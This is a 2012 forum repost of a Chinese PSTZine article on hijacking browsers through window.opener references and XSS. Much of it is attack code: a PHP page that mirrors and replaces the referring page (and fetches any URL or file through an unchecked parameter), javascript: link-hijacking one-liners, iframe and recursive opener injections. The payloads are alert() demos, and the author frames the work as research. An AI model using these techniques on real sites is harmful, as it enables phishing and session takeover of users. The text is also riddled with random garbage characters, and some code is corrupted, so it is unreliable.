找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2031|回复: 0
打印 上一主题 下一主题

[PSTZine 0x03][0x05][利用窗口引用漏洞和XSS漏洞实现浏览器劫持]

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:10:56 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
                           ==Ph4nt0m Security Team==
$ A. y: L& I& m  x5 H2 e " Q- U2 |: C  V. X* l# X
                       Issue 0x03, Phile #0x05 of 0x071 n( M  N0 D: y) \8 Y) J
& z- ?( d  Z* k+ C$ v
0 A. {& Z2 ~; G; A" V, m' O+ ?, l
|=---------------------------------------------------------------------------=|
3 M, r4 D( |$ \8 n: ~8 C, a2 }|=---------------=[ 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 ]=---------------=|
# p/ v9 e9 _0 b, y" P|=---------------------------------------------------------------------------=|" n' c7 {2 }4 B1 U2 Y0 N1 j
|=---------------------------------------------------------------------------=|3 K8 X' I+ I4 }& n4 z& F. H
|=------------------------=[      By rayh4c     ]=---------------------------=|
5 I, U8 n! J' v( a" Y|=----------------------=[    <rayh4c#80sec.com>   ]=------------------------=|# \) W5 G9 o! z. M: }
|=---------------------------------------------------------------------------=|
  Y. S/ P: X1 z
0 N+ [% Q: @6 j9 U, x( o
$ y8 e, H9 L/ r1 ~/ p% t[目录]
+ w$ Q& O) j' S+ _  |
% r9 |' t$ N3 K1. 前言( s! [& [5 R5 y: D
2. 同源策略简叙
3 d. R& \: s& t3. 理解window对象的同源策略
) U; q4 n9 g2 _1 `& D  s, Q( T8 Z4. 窗口引用功能中的同源策略漏洞* f' V6 i, K) B8 U
  4.1 父窗口引用子窗口的同源策略问题
# H! p0 ]; x& z  4.2 子窗口引用父窗口的同源策略问题* E  u  H5 B$ J' L5 ~
5. 利用窗口引用漏洞劫持浏览器) Y, |3 m' y6 q. f" x/ x+ i8 E4 N9 Y
6. 利用XSS漏洞劫持浏览器* }6 T& F) T1 D2 S4 N
  6.1 正向跨窗口劫持
( ?9 w! y( O+ Z# m, n7 o  6.2 反向跨窗口劫持
6 U1 J/ f8 `# M4 {  6.3 极度危险的跨框架窗口引用劫持, N* }5 m7 Z0 ?# @( ~
  6.4 极度危险的正反向跨窗口递归劫持
" N6 z; ^; C- j  6.5 完全控制浏览器
  [' P' R$ p$ h& ?$ N7. 后记
3 U: R% S$ S% G! \8. 参考% z0 S/ E" }" n3 T! M# ~6 w6 y
- `# k* A$ P& B/ A5 M
1 u5 D% }) w+ P, \
一、前言
( }9 [7 P* R# k: R# c. e5 V0 Q) S. H0 D" S) b
    最近国内关于XSS漏洞的技术文档都比较少,所以决定写这篇文档,其中的很多细节和朋3 U& p, F& L7 p) e! ?
友们都沟通讨论很久了,其中包括了我对浏览器同源策略和XSS的一些理解。XSS漏洞从Session
# g: u$ y1 u2 A5 M' {0 f劫持、钓鱼、XSS WORM等主流攻击方式发展到现在,告诉了大家一个真正的跨站师是不会被# U7 s" j: d. d- q
条条框框所束缚,跨站师们在不断的创新,跨站师们会展示XSS漏洞的所有可能。
2 R9 |7 E. A- z" J& I9 ^1 \5 K0 R
) h( ]9 P& U9 H. ^
9 Z/ d+ d* |. w( J( \; R二、同源策略简叙- d9 R4 X9 G) P* \  V" o/ Y
) n- O/ ?% \  X3 @! ^+ q
    同源策略是浏览器的安全基础,它是浏览器支持的客户端脚本的重要安全标准,我们可以; f$ J$ {% x  d, z
从“源”上了解这一安全标准,按照W3C的标准这个“源”包括域名、协议和端口,各大浏览器都" W! D$ V, Y& P% I
曾爆出过很多同源策略漏洞,危害程度各有不同,比如从06年开始流行至今的MS06-014网页木
5 t( T. E/ F: d# W1 Z- ]马漏洞都已经完全颠覆了同源策略。这次的文档主要说的是DOM的同源策略(参考2)中的一个, B: S6 v7 H4 r; p  c5 w
漏洞,然后从漏洞引申到XSS漏洞如何利用DOM的同源策略特性,最终实现浏览器劫持。% z; |2 @2 ?( Z( F

, B+ O- d" B% L9 p* E
9 `4 z9 e0 ]* s+ A三、理解window对象的同源策略
, i6 r) h0 P% K' m
% c. Q6 Y4 s2 @! n- |' L! A    窗口即指的是浏览器窗口,每个浏览器窗口都可以使用window对象实例来表示,window对
$ `. q8 W4 e8 J9 V( ]8 f象有很多属性和方法,写一个简单的脚本可以历遍出window对象的所有属性和方法:
- m* F( a* J9 o* b4 B) \2 Q+ v4 [3 E# g% e' b( k+ S! K5 b* S
--code-------------------------------------------------------------------------7 {) L& Q. }) x7 P, Y9 M; U* ~0 M
<script language="javascript">: A8 ]; W6 Z* x1 q) D* l9 @. x# r
for(p in window) document.write(p+"<br>");
% b- ]8 \3 v* C% h8 l) e/ ^7 l</script>
# @0 }4 k. O: A! l-------------------------------------------------------------------------------
/ C' A- C: O5 C1 H; x
7 ^  e' N- c% u4 d    这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容,当这些属性和方
. K( \/ Y$ e3 j" b8 A. g. ~8 t+ I8 Z法只在一个窗口中使用并不会凸显出安全问题,但是当多个window对象开始互相引用的时候,
' b  |2 h+ Q( A/ i这些属性和方法就必须遵循同源策略。
, C0 i( i9 W8 e3 c  N6 l) h( K* G$ {9 X) h  ^/ `
    举一个简单的例子,如果在a.com的网页可以调用b.com网页window对象的属性和方法,那
9 G; O- M. Z  f. n$ n. Z" u么跨站师就可以随便XSS互联网上任何一个网站了,所以为了避免安全问题,同源策略是必须/ C' Q, W% T" W# \1 C5 F
的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试,这; Y6 k* S$ u* L, k
个脚本的效果是调用不同源的子窗口window对象的属性和方法,我们会发现location属性的% @8 F! |/ @5 [; e1 i+ ~9 r
值类型是空白的,这种情况太特殊了,说明不同源的父窗口引用子窗口window对象的location
( f+ C) X( s. V' Q属性并没有被拒绝访问。. i  n. B  E, e) J% M
) |7 r& a3 X( k
--demo.html--------------------------------------------------------------------
1 N" T% p" x8 P# C<script language="javascript">   
5 l" T2 D5 c% }; _function allPrpos(obj) {      / E3 Z1 G! s' V3 i9 G+ Q: J1 i
      var props = "<table><tr><td>名称</td><td>值</td>";           / {6 l+ }/ g/ P3 ]
      for(var p in obj){          ' @5 E8 j& a% F* M3 `/ o0 v8 o
            if(typeof(obj[p])=="function"){   
3 N7 C& Z* U3 [7 i3 T3 G                   obj[p]();   ( ?7 v7 U" q- r# e+ {; b
             }else{                     
. c; S) X+ a1 Z  ]" h                  try   
, q0 w% x* b9 z! i                   {   
, T# G* z4 i9 u7 o' P. i                          props+="<tr><td>"+p + "</td><td>" + obj[ p ] + "</td></tr>";   
' S# W+ y# x7 @                   }   
% N1 h# l5 D9 l                  catch (ex)   
4 a4 Q. \: ^$ H                   {   
" B7 o3 {  ~1 a! }' j7 t4 q                  
  j. U& r9 ^% I4 j* \                          props+= "<tr><td>"+p + "</td><td>" +ex.message+"</td></tr>";   3 W1 X$ I& D% e/ A: B
                   }   
% l$ F) ~2 ?  z/ j' p                       ) w0 a* _$ m0 q8 \
             }   
) u* j/ w. h% C) H; {  h       }   " Z* x; x# I: {! h8 _' _
   3 _& a7 R# X6 K9 y# y) G
       document.write(props+"</table>");   
1 }+ U2 E' ^6 ^3 b! v5 ?}   ' C& H) W2 l) e/ J
   
- b2 M) K& X. J& Lfunction createWin() {6 F6 w: n7 M" S; \
        newWin = window.open ("http://www.google.com");  
/ O, d+ W2 \; H2 q; M, [* e        setTimeout(function(){allPrpos(newWin)},2000); . N! V4 N* q$ ^& ~2 D" y" W
}
4 u/ O8 F" V* W4 t5 V2 O. i4 V1 ~! p1 T, h1 i* g
</script>
; Y, Z$ @0 E7 |' o$ j* W" m" O2 K
' u* r$ O. c0 o<button onclick='createWin()'>创建一个非同源子窗口测试</button>- t/ |$ i) m' M. x
-------------------------------------------------------------------------------7 o) v1 o* j( z& {) \& U, A# y
- e& e4 a1 A5 U( l
& ^: ?) N! x6 F$ P
四、窗口引用功能中的同源策略漏洞
# C/ t+ z( D6 q' c# A1 m7 @! c$ L! H; @7 M. K
4.1 父窗口引用子窗口的同源策略问题
9 I" i% x! l* }! ~1 ], E; q' ]% J9 Q) I. D7 \. H" F
    去年我在幻影杂志发过的IE6跨域脚本漏洞,这个问题微软已经发布了ms08-058补丁修复,+ S5 v7 O6 O1 I' A; B* a4 M
但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试,我们知道
# F0 x$ n! U8 {2 D! r# q浏览器并没有阻止父窗口访问非同源子窗口的location属性值,我们可以使用下面的脚本进  g& V6 |% a" Z  \# H0 Q
行测试,会发现父窗口可以控制非同源子窗口location属性值。
: S5 u' r: T! L+ A+ ?4 c4 w* y# C: Y' v# X
--vul1.html--------------------------------------------------------------------% L3 Z3 T/ _  v8 i5 z2 }8 P5 n- |
<script language="javascript"> 6 d% w% @7 ?! G3 s, h0 ]! L
function createWin() {  6 f1 d) L; S3 J5 |
        newWin = window.open ("http://www.google.com");  ' E4 T: k: q! {5 F
        setTimeout(function(){newWin.location="http://www.80sec.com"},2000);
% b' w! I- }  z: Y- v/ \2 g' a}
( {/ w6 H# X1 `! s1 [* C</script>0 z2 h  W  m! v4 p% K
% H, K: b* u$ M& R' ]" z: M3 I
<button onclick='createWin()'>创建一个非同源子窗口测试</button>
3 x5 c  t- Y5 I0 ?7 g5 ^-------------------------------------------------------------------------------; n. i7 `: J' y+ o6 M

* C# x+ g) K2 ~9 B) e9 ~/ z8 z9 y  B- J) i; Q+ V
4.2 子窗口引用父窗口的同源策略问题
, o$ b, F9 |& N: L% J9 e; N. @5 l2 ^; S4 R& @! l' o0 [7 }2 n% d
    逆向测试一次会发现子窗口引用父窗口也存在同样的问题,这里为了更方便和直观我使$ s, c- ^$ T; N0 l6 V) Z* P: r
用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener,我们6 w1 K$ ?. l& s5 R5 n
可以随意浏览一个网站点击链接打开N个网页,在这些网页的地址栏注入下面的脚本,你一定
1 H) u& g. d6 X6 g* [会惊奇的发现,不管同源还是非同源的父窗口都转跳到了80SEC网站。8 W5 I  w  V& }- I; U" c, O

2 h2 U" x% S% L/ ^* z5 }--code-------------------------------------------------------------------------
8 P* m" J& s) r1 t' [- o' e3 D3 h" i& w) K
javascript:window.opener.location = "http://www.80sec.com";void(0);' }. s$ R. P: l
4 I$ {+ e2 w; j% X& P
-------------------------------------------------------------------------------5 h: I- ^- T  Q! b8 R, G
+ T0 ?' j) T' D4 ^2 e
4 Y# t% B1 o4 g4 [( Z
五、利用窗口引用漏洞劫持浏览器! |& P( f$ [7 o4 w

* w6 z- n0 {5 |2 a5 C    经过上面三个枯燥的测试,我们已经暴露了浏览器一个非常严重的安全问题,非同源的子! E2 Q& \0 U1 z
窗口和父窗口可以互相引用控制window对象的location属性值,并没有严格遵循同源策略,那
8 N3 r' X- [# p6 \* R$ }' @6 V么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。
  H! S5 k& U( m/ m
  C4 p# ^: K: G    我们打开浏览器访问互联网上的各个网站,无时无刻不在点击链接,我们点击链接想要产
9 Q8 C+ j4 P  U9 x8 B9 t6 ~% s生的结果是去访问我们想要去的URL地址,用户的正常点击只会产生两个结果,打开新窗口或
. m6 @/ v% u9 t5 g* d者当前窗口转跳,试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接
* j+ a" ^  ]& f5 D3 r7 r  W* G后,打开了一个“无害”的网页,原本浏览的信任网页却已经被悄悄替换了,大家可以联想一下
, h5 u7 D# b% i8 a7 D5 z2 x9 E, X! P9 N会产生什么可怕的后果。
. ^1 Y" h7 J# Y" t
) I5 I& @0 s0 a2 y4 n$ x0 o    下面我写了一个劫持浏览器的小Demo,思路是获取REFERER后生成镜像页面,同时加入我/ u3 A$ d4 X( _3 i- `8 O' |
们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试,将http://127.0.0.1/hjk_ref.php6 `( ?1 J( r  ?4 k6 S7 A
这样的链接发到任意一个网站上,点击链接打开新窗口,当所有的注意力都停滞在新窗口的时5 Z/ Q- e6 p! Y0 A" W# g
候,3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路,发挥跨站师的想象力,可% x! _* X1 M% \
以做更多的事情,所有的一切仅仅是因为点击了一个链接。
' ]3 E+ u+ {$ g2 t: `8 ?' n! m- k  M! {1 W5 \( G
--hjk_ref.php------------------------------------------------------------------
- o3 j2 J2 `" |4 s<?php
4 z7 [' n6 Z# W+ F1 Z( aif (array_key_exists("HTTP_REFERER", $_SERVER)) {
3 F* N1 T; V% \$Url_Mirror = $_SERVER["HTTP_REFERER"];0 ]' P: d% t7 i  W; Z0 a7 x3 U
}
9 B8 s) N# j$ z5 A; U+ I! z9 mif(isset ($_GET['ref'])) {
9 Y/ q  n' Q9 P" q/ `echo file_get_contents($_GET['ref']) . '<script>alert(\'I had been hijacking your browser!\')</script>';
  ^  K0 s' c7 }  [8 o$ ]# k, U}5 A: u% B  Q( ~0 J& b+ a  f
?>4 `- `  b+ k- F4 ~% b& n3 t$ {& t( E

' r0 b2 P4 Y$ s4 @7 g# E<script language="javascript">. G7 k) L' ^3 R. G
setTimeout(function(){window.opener.location=window.location+"?ref=<?echo $Url_Mirror;?>"},3000);        
+ t# @, T# I$ T1 Y9 f</script>
! L6 C7 q" z) |: L" h' a  Z-------------------------------------------------------------------------------: P* f3 }! q1 \

, ~$ f4 r* |7 @' _* h5 ]    注:各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。1 I" _: Q1 R  _0 p- R
* x9 q2 z& a6 P1 n8 o4 I* z
# x8 S/ R( f4 q/ j- t% l
六、利用XSS漏洞劫持浏览器
! a' R" a& G, J, j
9 ?8 a! O$ B% u4 o    延续第四部分的思路,这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为
# D9 e* `3 R9 G1 {% c6 H持久和非持久两种,这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期,窗口关闭后! p3 q/ [$ {3 ^. W! o% {* S
XSS漏洞的效果也就完全消失,窗口的限制一直束缚着跨站师们的发挥,我这里将和大家一起
' z3 k( I0 t8 q) `0 r! N/ D讨论跨站师的终极技巧:8 ~; E6 k3 [" z4 T

* `" I( H7 d0 T
3 o0 y& D1 V  f& [6.1 正向跨窗口劫持
  |1 \. D0 v: B( B* I% i' a! a# [; N! S% C- {, `
    大家可以先试验下hijack_open.js这个脚本,比如打开http://bbs.dvbbs.net/动网论坛$ [$ Q  z" L. x+ c2 v
主页,我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本,然后整个页面的链
: ]+ t) g3 i" v4 J2 v5 e5 U接就都被劫持住了,点击论坛里的任意一个链接,打开的新窗口都会被注入了一个alert对话$ B0 k  F! t1 ]% f) {
框脚本。
7 _& T* n( y, G
6 s5 C0 O0 b& G/ V--hijack_open.js---------------------------------------------------------------/ D; l; z/ r+ r  ]: b
& Y- [( u. x" L
javascript:for(i=0;i<document.links.length;i++){document.links.onclick=function(){x=window.open(this.href);setTimeout(function(){try{x.location="javascript:alert('I had been hijacking your browser!')"}catch(e){};return false;},3000);return false;}};void(0);- u( v* A- _. \8 V4 ]. ~* j4 e+ D
8 g: e  F+ V5 K* G( \2 c
-------------------------------------------------------------------------------2 |: K; }$ d, d- ?& X% o
% p' F# k2 `2 k; j% B" j, g, h) U6 j& q
% O3 Q2 {. h- n$ S4 Y8 l
6.2 反向跨窗口劫持
0 A! A5 n. Z- m% W1 @( \7 o
! g+ t( K% ^& L. l' w: ?    同样我们也可以在动网论坛试验,新打开任意一个版块的窗口,在地址栏里复制下面的代
6 V" x$ E  `9 f' p码使用伪协议注入hijack_opener脚本,我们会发现原来的页面被反向注入了一个alert对话1 Q& x% Y! ?: \. E/ i  B  \
框脚本。
5 w" O: c7 n* J: _' k, j3 m2 |! a0 [
& e; X& e5 M+ |--hijack_opener.js-------------------------------------------------------------- {. p% N* b# ]* n4 V& l+ X# U- ~
# a( X) _: `+ N
javascript:window.opener.location="javascript:alert('I had been hijacking your browser!')";void(0);
( X" i; r) x/ R. L$ {- |$ P
; Z7 \$ P7 ^# U; x& w1 L: r" P-------------------------------------------------------------------------------
9 ~  K4 V, [  E- c2 n' ^
6 R  l0 {) |+ z% E7 `
) A) V3 n' ^. L3 B0 H6 P6.3 极度危险的跨框架窗口引用劫持
( Z6 x- ^- \3 D' i& f$ Z  w
2 \2 z" B$ T! q# Q/ d" v    非持久型XSS漏洞是在URL参数中注入脚本,一度被认为很鸡肋,一个非持久型的XSS漏洞
0 f0 m0 ^# \3 G$ \! f" {可能出现URL参数过于冗长等缺点,下面这个window.parent.opener的跨框架窗口引用技巧就
2 \* Z, K, i, t适用于所有的非持久型XSS漏洞,我们可以在一个被攻击者的信任网站上的网页里iframe一个
) a8 @. ^2 J7 T, s" P非持久型的XSS,如下:
' u1 d! K% O! {9 m8 x
/ z: P2 O8 f( U& y0 ?<iframe src='http://www.target.com/index.php?vul=xss'width='0' height='0'>
# O! S  d, [; c# l+ d4 m# _6 W( U3 f# E
    在vul参数中写入下面的hijack_frame_opener脚本,跨站师就可以反向跨框架引用窗口
. S/ [/ u- G7 u( I; B注入脚本。! a& v" l* w3 @$ N
& M/ \! o; t* M9 x/ \' t& w: c. ]
--hijack_frame_opener.js-------------------------------------------------------& Z  p# e9 U3 {
<script>
. ?- F* G) N( h6 Ewindow.parent.opener.location="javascript:alert('I had been hijacking your browser!')";2 Y0 @/ i9 I9 h2 K# C
</script>
5 A! b" `9 Z8 [3 B/ e5 L-------------------------------------------------------------------------------
) S$ m3 p5 q& O& S+ H/ a! O/ L" y4 p# S2 D# R

5 x' M. ]7 o8 `' B9 ~. z8 i6.4 极度危险的正反向跨窗口递归劫持: c6 e8 i5 A/ s1 }# ^# F5 g

( ]& |! o8 d* s    luoluo建议我加上了这一部分,窗口之间的引用关系可能是复杂的,我们可以通过window- @8 Y( a; k; G5 Q, u. B
的opener属性链反向递归查找窗口注入XSS脚本,将互相引用过的同域窗口全部劫持,并通过1 N; X6 D. H. x  P4 E
异常处理规避之间跨域页面的访问异常,代码如下:
+ L5 _6 r. ^% a( I# u
0 [# W$ H$ F4 e+ Y--code-------------------------------------------------------------------------
; \/ v- l* I) @6 S- X
7 |4 H! H- F7 I& p1 [3 }$ Fjavascriptfunction(){var w=window;while(w.opener){w=w.opener;try{w.location="javascript:alert('I had been hijacking your browser!');void(1);";}catch(e){}}})();void(0);
! |5 y* ^8 G3 f+ X3 K; U$ P6 Z0 F; M$ w1 u+ |  k1 T$ i. ~; o- A
-------------------------------------------------------------------------------
# Y! l, `: Y# @0 O4 d* Y
5 d' U1 Z6 g% @; Q    假设页面打开序列有A域->B域->A域的情况,通过对第二个A域页面的反向递归劫持则可* F1 O) a  r. T% F6 Z; J
以劫持B域之前的A域页面,从而实现“隔空打击”。
5 [1 t& B% o2 i+ ^. I6 r0 x8 x9 Q
    同理,正向跨窗口劫持也可以实现递归劫持所有同域的链接,对每个打开的被劫持的页面
  h; G. k* s& M. v/ E" j7 I9 z执行和第一个页面一样的劫持脚本,但是正向递归没法实现反向递归的那种“隔空打击”。, _3 @3 O0 N4 P

8 P1 \$ l2 V5 I5 D7 @5 l    结合正向和反向的链式递归劫持,最终我们可以劫持所有的同域页面。1 I+ `7 S2 ~9 ]3 F$ ^
! n  U/ X/ w( e$ n; {8 F" h
8 R; F# Q/ ]: J0 _( O3 J
6.5 完全控制浏览器9 x9 r, y2 I+ q; f9 ]1 I2 w; M* Z
3 Y3 ~% \: Z( q" o
    一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题,而在跨站师的角度则
" c/ ]$ p" }. R, I0 O- V, E2 D是能够进入同源策略了,可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS
: {. |- [8 s/ p3 A/ G漏洞在同源策略允许的范围内再跨页面注入脚本,可以不再为窗口关闭后XSS漏洞的效果消失
6 M0 a3 s: u4 ~9 w3 V而烦恼,劫持窗口后的跨站师们可以任意发挥,劫持表单,劫持请求,劫持输入等等,我就不再/ S6 E: |0 `! E
列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的,最后实现跨站/ W( D! H- m% L: v2 P! Z
师的终极目标 - 完全控制浏览器。, f) D  k6 U: W9 e

  y; Z3 P( c8 W$ g- x  J5 Z- V
9 s' ]5 a0 Q, y2 K2 v, g七、后记& \3 q, I, x+ q

* ~7 z) P$ g& Z( T  Y8 _    文章涉及的安全技术全部都是纯研究性质,请不要将这些技术使用在非法途径上。安全  A, v6 ]1 Y6 b% q& h. _
与应用永远是一个矛盾体,通往安全的路永远不止一条。感谢对这篇文档的思路和技术给予! I8 m  g9 U, J7 [6 R! u; ]
过帮助的luoluo、cnqing、linx以及80Sec团队的所有成员。  p7 R% U  M5 m

. U" w% X. F! A7 a: K) O! {+ y9 D
八、参考
' K. y, Q+ u/ d; z( D1 p! H2 a+ R6 l9 p7 f- S" R; @: t
1. http://en.wikipedia.org/wiki/Same_origin_policy
3 R5 _  A) j; E, P  P2. http://code.google.com/p/browser ... licy_for_DOM_access0 U! J1 w, O% w' ?7 l/ n' k& l
3. http://www.w3.org/TR/Window/
! K  F  X. a. w4 ^4 W& I4. http://www.80sec.com/release/browser-hijacking.txt: e, w  n7 f( [; e- B: }
5. http://www.80sec.com/all-browser-security-alert.html4 C# \, s" `+ o; L
6. http://www.80sec.com/ms08-058-attacks-google.html
. ?. X& x! I2 C: b
: y2 k  }; ^4 \: S-EOF-
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表